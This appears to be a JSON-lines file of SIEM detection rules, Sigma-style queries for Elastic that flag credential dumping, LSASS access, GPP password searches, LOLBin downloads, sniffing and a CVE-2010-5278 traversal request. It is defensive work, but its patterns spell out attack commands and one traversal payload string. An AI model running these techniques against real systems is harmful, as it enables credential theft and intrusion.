{"description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "639faef6-71f6-5365-5c29-5631fd7879c6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Credential Manager Access via VaultCmd", "query": "((process.executable:*\\\\VaultCmd.exe OR winlog.event_data.OriginalFileName:\"VAULTCMD.EXE\") AND process.command_line:*\\/listcreds\\:*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "load malicious registered COM objects", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d05ed49-b7c4-16ed-2233-a4e55075e0f0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rundll32 Registered COM Objects", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:(*\\-sta\\ * OR *\u2013localserver\\ *) AND process.command_line:*\\{* AND process.command_line:*\\}*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Loading unsigned image (DLL, EXE) into LSASS process", "enabled": false, "false_positives": ["Valid user connecting using RDP"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4b1bfefd-f6b3-976c-4ff2-d5c28c6f8406", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Unsigned Image Loaded Into LSASS Process", "query": "(process.executable:*\\\\lsass.exe AND Signed:\"false\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Local accounts, System Owner/User discovery using operating systems utilities", "author": ["Timur Zinniatullin", "Daniil Yugoslavskiy", "oscd.community"], "enabled": false, "false_positives": ["Legitimate administrator or user enumerates local users for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ab39c9f7-2668-88c8-044b-e3451f8c802c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Local Accounts Discovery", "query": "((((process.executable.text:*\\\\cmd.exe AND process.command_line.text:*\\ \\/c* AND process.command_line.text:*dir\\ * AND process.command_line.text:*\\\\Users\\\\*) AND (NOT (process.command_line.text:*\\ rmdir\\ *)))) OR (((process.executable.text:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line.text:*user*) AND (NOT (process.command_line.text:(*\\/domain* OR *\\/add* OR *\\/delete* OR *\\/active* OR *\\/expires* OR *\\/passwordreq* OR *\\/scriptpath* OR *\\/times* OR *\\/workstations*))))) OR (process.executable.text:(*\\\\whoami.exe OR *\\\\quser.exe OR *\\\\qwinsta.exe)) OR ((process.executable.text:*\\\\wmic.exe AND process.command_line.text:*useraccount* AND process.command_line.text:*get*)) OR ((process.executable.text:*\\\\cmdkey.exe AND process.command_line.text:*\\ \\/l*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1033", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "lolbas Cmdl32 is use to download a payload to evade antivirus", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a8001e2d-36b1-11a2-a6a1-b8aea496cbe8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Cmdl32 Execution", "query": "((process.executable:*\\\\cmdl32.exe OR winlog.event_data.OriginalFileName:\"CMDL32.EXE\") AND (process.command_line:*\\/vpn\\ * AND process.command_line:*\\/lan\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "71f2f943-db7c-291c-2b5b-4a288f0c5e8c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SMB Create Remote File Admin Share", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5145\" AND winlog.event_data.ShareName:*C$ AND winlog.event_data.AccessMask:\"0x2\") AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Jose Rodriguez (@Cyb3rPandaH)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "decabc52-49c5-259f-cf6e-0c595f083b2f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Findstr GPP Passwords", "query": "(process.executable:*\\\\findstr.exe AND process.command_line:*cpassword* AND process.command_line:*\\\\sysvol\\\\* AND process.command_line:*.xml*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c103b1fd-a515-e535-1ca5-1bb6659c8bd8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Write Protect For Storage Disabled", "query": "(process.command_line.text:*reg\\ add* AND process.command_line.text:*\\\\system\\\\currentcontrolset\\\\control* AND process.command_line.text:*write\\ protection* AND process.command_line.text:*0* AND process.command_line.text:(*storage* OR *storagedevicepolicies*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Looks for potential enumeration of AWS buckets via ListBuckets.", "author": ["Christopher Peacock @securepeacock", "SCYTHE @scythe_io"], "enabled": false, "false_positives": ["Administrators listing buckets, it may be necessary to filter out users who commonly conduct this activity."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "89b254d1-6f16-fe1a-60ba-097da70f13f4", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Potential Bucket Enumeration on AWS", "query": "((eventSource:\"ec2.amazonaws.com\" AND eventName:\"ListBuckets\") AND (NOT (type:\"AssumedRole\")))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1580"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1580", "name": "Cloud Infrastructure Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", "enabled": false, "false_positives": ["Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", "Dumps of another process that contains lsass in its process name (substring)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "166a7204-54f6-f028-4f58-378f0ee985d7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Memory Dump File Creation", "query": "(file.path.text:*lsass* AND file.path.text:*dmp)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", "enabled": false, "false_positives": ["Legitimate user creation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6488ba98-a316-4e45-5ee2-4a9d96152187", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious VHD Image Download From Browser", "query": "(process.executable:(*\\\\chrome.exe OR *\\\\firefox.exe OR *\\\\microsoftedge.exe OR *\\\\microsoftedgecp.exe OR *\\\\msedge.exe OR *\\\\iexplorer.exe OR *\\\\brave.exe OR *\\\\opera.exe) AND file.path:*.vhd*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'"], "license": ""}
{"description": "Marks a file as a system file using the attrib.exe utility", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db56c990-3bb3-2a5a-9e60-a98976e728cf", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Set Windows System File with Attrib", "query": "(process.executable:*\\\\attrib.exe AND process.command_line:*\\ \\+s\\ *)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d9cd797a-1827-1416-113e-2752a71fd99e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Masquerading as Linux Crond Process", "query": "(type:\"execve\" AND a0:\"cp\" AND a1:\"\\-i\" AND a2:\"\\/bin\\/sh\" AND a3:*\\/crond)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Modifications to a config that will serve an adversary's impacts or persistence", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Legitimate administrators may run these commands"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e9aff530-c2b3-f3a2-5642-86fd91f6f961", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cisco Modify Configuration", "query": "((*ip http server*) OR (*ip https server*) OR (*kron policy-list*) OR (*kron occurrence*) OR (*policy-list*) OR (*access-list*) OR (*ip access-group*) OR (*archive maximum*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053", "T1490", "T1505", "T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1505", "name": "Server Software Component", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}, {"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", "author": ["Subhash Popuri (@pbssubhash)"], "enabled": false, "false_positives": ["Scanning from Nuclei", "Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "68961638-80d1-046b-81ea-7dac531669ce", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2010-5278 Exploitation Attempt", "query": "cs-uri-query:*\\/manager\\/controllers\\/default\\/resource\\/tvs.php?class_key\\=..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/windows\\/win.ini%00*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Monitor and alert for Bitlocker key retrieval.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "21ddffe2-a004-157a-92a8-2496c5732356", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Bitlocker Key Retrieval", "query": "(Category:\"KeyManagement\" AND OperationName:\"Read\\ BitLocker\\ key\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Michael Epping", "'@mepples21'"], "license": ""}
{"description": "Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7d5cbc55-5a6f-bae2-262e-3a9c73412e77", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Sign-ins by Unknown Devices", "query": "(AuthenticationRequirement:\"singleFactorAuthentication\" AND ResultType:\"0\" AND NetworkLocationDetails:\"\\[\\]\" AND DeviceDetail.deviceId:\"\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Michael Epping", "'@mepples21'"], "license": ""}
{"description": "Monitor and alert on conditional access changes.", "enabled": false, "false_positives": ["Misconfigured role permissions", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "17c8841f-4342-93c1-a955-54bc700b23ab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New CA Policy by Non-approved Actor", "query": "properties.message:\"Add\\ conditional\\ access\\ policy\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Corissa Koopmans", "'@corissalea'"], "license": ""}
{"description": "Monitor and alert on group membership removal of groups that have CA policy modification access", "enabled": false, "false_positives": ["User removed from the group is approved"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d0f6f90e-7bca-63a2-71ba-b88c82b1fb4d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Removed From Group With CA Policy Modification Access", "query": "properties.message:\"Remove\\ member\\ from\\ group\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Thomas Detzner '@tdetzner'"], "license": ""}
{"description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e96f2db0-ff3e-644d-15bc-b02dcb125463", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Scheduled TaskCache Change by Uncommon Program", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\*) AND (NOT ((winlog.event_data.TargetObject:(*Microsoft\\\\Windows\\\\UpdateOrchestrator* OR *Microsoft\\\\Windows\\\\SoftwareProtectionPlatform\\\\SvcRestartTask\\\\Index* OR *Microsoft\\\\Windows\\\\Flighting\\\\OneSettings\\\\RefreshCache\\\\Index*)) OR (process.executable.text:C\\:\\\\Windows\\\\* AND process.executable.text:*\\\\TiWorker.exe) OR (process.executable.text:\"C\\:\\\\WINDOWS\\\\system32\\\\svchost.exe\") OR (process.executable.text:C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* AND process.executable.text:*\\\\ngen.exe AND winlog.event_data.TargetObject:(*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tasks\\\\\\{B66B135D\\-DA06\\-4FC4\\-95F8\\-7458E1D10129\\}* OR *\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\.NET\\ Framework\\\\.NET\\ Framework\\ NGEN*)) OR (process.executable.text:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Office\\\\root\\\\Integration\\\\Integrator.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\Integration\\\\Integrator.exe\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\msiexec.exe\") OR (process.executable.text:(\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dropbox\\\\Update\\\\DropboxUpdate.exe\" OR \"C\\:\\\\Program\\ Files\\\\Dropbox\\\\Update\\\\DropboxUpdate.exe\")) OR (process.executable.text:\"C\\:\\\\Windows\\\\explorer.exe\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Schedule\\\\TaskCache\\\\Tree\\\\Microsoft\\\\Windows\\\\PLA\\\\Server\\ Manager\\ Performance\\ Monitor\\\\*) OR (process.executable.text:\"System\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Syed Hasan (@syedhasan009)"], "license": ""}
{"description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b169c0b7-c629-dfdb-cf1b-cc4fd83d3268", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Writing Of Malicious Files To The Fonts Folder", "query": "(process.command_line:(*echo* OR *copy* OR *type* OR *file\\ createnew* OR *cacls*) AND process.command_line:*C\\:\\\\Windows\\\\Fonts\\\\* AND process.command_line:(*.sh* OR *.exe* OR *.dll* OR *.bin* OR *.bat* OR *.cmd* OR *.js* OR *.msh* OR *.reg* OR *.scr* OR *.ps* OR *.vb* OR *.jar* OR *.pl* OR *.inf* OR *.cpl* OR *.hta* OR *.msi* OR *.vbs*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1211"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1211", "name": "Exploitation for Defense Evasion", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", "enabled": false, "false_positives": ["Legitimate administrator or user uses network sniffing tool for legitimate reasons."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6851292c-d117-91b3-e59d-416622399dc5", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Network Sniffing", "query": "(type:\"execve\" AND a1:\"\\-c\" AND ((a0:\"tcpdump\" AND a3:*\\-i*) OR (a0:\"tshark\" AND a3:\"\\-i\")))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6851292c-d117-91b3-e59d-416622399dc5", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Network Sniffing", "query": "((process.executable:*\\\\tshark.exe AND process.command_line:*\\-i*) OR process.executable:*\\\\windump.exe)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "author": ["Timur Zinniatullin", "oscd.community"], "enabled": false, "false_positives": ["Legitimate administrator or user uses network sniffing tool for legitimate reasons."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "aa1de0f3-4132-3fed-8cb6-20c87c4735c3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Network Sniffing - Linux", "query": "(type:\"execve\" AND a1:\"-c\" AND (((a0:\"tcpdump\" AND a3:*\\-i*)) OR ((a0:\"tshark\" AND a3:\"-i\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f25e2dfd-0250-18d6-6706-55a8f617efc9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Start of NT Virtual DOS Machine", "query": "process.executable:*\\\\ntvdm.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", "enabled": false, "false_positives": ["Valid change"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4caff784-c8b6-4bbb-37f8-c614273ad9ac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Number Of Resource Creation Or Deployment Activities", "query": "(*Microsoft.Compute\\/virtualMachines\\/write* OR *Microsoft.Resources\\/deployments\\/write*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["sawwinnnaung"], "license": ""}
